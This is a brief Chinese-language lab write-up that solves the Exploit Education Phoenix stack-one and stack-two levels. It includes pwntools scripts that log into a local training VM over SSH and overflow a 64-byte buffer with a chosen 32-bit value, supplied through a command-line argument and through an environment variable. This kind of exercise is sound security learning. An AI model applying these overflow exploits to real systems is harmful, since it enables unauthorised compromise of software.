这两道非常简单,而且只有数据读入方式的区别。跟 zero 一样,只是对覆盖的数据有要求。
stack-one#
将程序第一个参数strcpy
到字符串。
在 gdb 中 run 后面直接接参数即可带上参数。
pwntools 的 sh.run 可以接收字节数组作为参数,里面可包含启动参数。(看了下文档,对于 run 方法:Backward compatibility. Use system()
)
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
这次是写到环境变量里。
做到这里发现环境变量里写 "\0" 进去会出问题,我们要求写入的是 32 位数据,不应该用 p64,用了就会自动补 0,然后报错。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))